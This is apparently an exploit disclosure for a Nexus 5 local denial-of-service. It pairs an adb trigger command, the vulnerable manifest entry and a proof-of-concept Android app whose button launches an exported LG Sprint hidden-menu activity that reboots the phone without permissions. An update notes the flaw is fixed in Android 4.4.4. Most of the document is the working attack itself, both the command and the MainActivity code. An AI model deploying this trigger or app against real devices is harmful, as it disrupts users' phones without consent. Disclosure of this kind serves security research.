Nexus 5 Local DOS - Reboots Phone with zero permissions

Readme.md

$adb shell ps | grep Sprint
  system    9677  181   909140 42516 ffffffff 00000000 S com.lge.SprintHiddenMenu

adb shell pm list packages -f com.lge.SprintHiddenMenu

package:/system/app/SprintHiddenMenu.apk=com.lge.SprintHiddenMenu

Trigger:

adb shell am start -n com.lge.SprintHiddenMenu/.sprintspec.SCRTN

<manifest android:sharedUserId="android.uid.system" android:versionCode="19" android:versionName="4.4-PDK883345" package="com.lge.SprintHiddenMenu" xmlns:android="http://schemas.android.com/apk/res/android">
....  
     <activity android:label="@string/scrtn_label" android:name=".sprintspec.SCRTN">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.DEFAULT" />
            </intent-filter>
        </activity>
....
</manifest>

UPDATE: Fixed as of 4.4.4 :

I/ActivityManager(  748): START u0 {act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=com.lge.SprintHiddenMenu/.sprintspec.SCRTN} from pid 2324
W/System.err( 2324): java.lang.SecurityException: Permission Denial: starting Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=com.lge.SprintHiddenMenu/.sprintspec.SCRTN } from ProcessRecord{4333ac18 2324:com.nexus5.dos/u0a141} (pid=2324, uid=10141) requires com.lge.permission.SPRINTHIDDEN

app-debug-unaligned.apk

MainActivity.java

package com.nexus5.dos;

import android.content.Intent;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
public class MainActivity extends ActionBarActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Button rebootButton = (Button) findViewById(R.id.rebootButton);
        rebootButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                try {
                    Intent intent = new Intent(Intent.ACTION_MAIN);
                    intent.addCategory(Intent.CATEGORY_LAUNCHER);
                    intent.setClassName("com.lge.SprintHiddenMenu", "com.lge.SprintHiddenMenu.sprintspec.SCRTN");
                    startActivity(intent);
                }catch(Exception e){
                    e.printStackTrace();
                }
            }
        });
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        int id = item.getItemId();
        if (id == R.id.action_settings) {
            return true;
        }
        return super.onOptionsItemSelected(item);
    }

}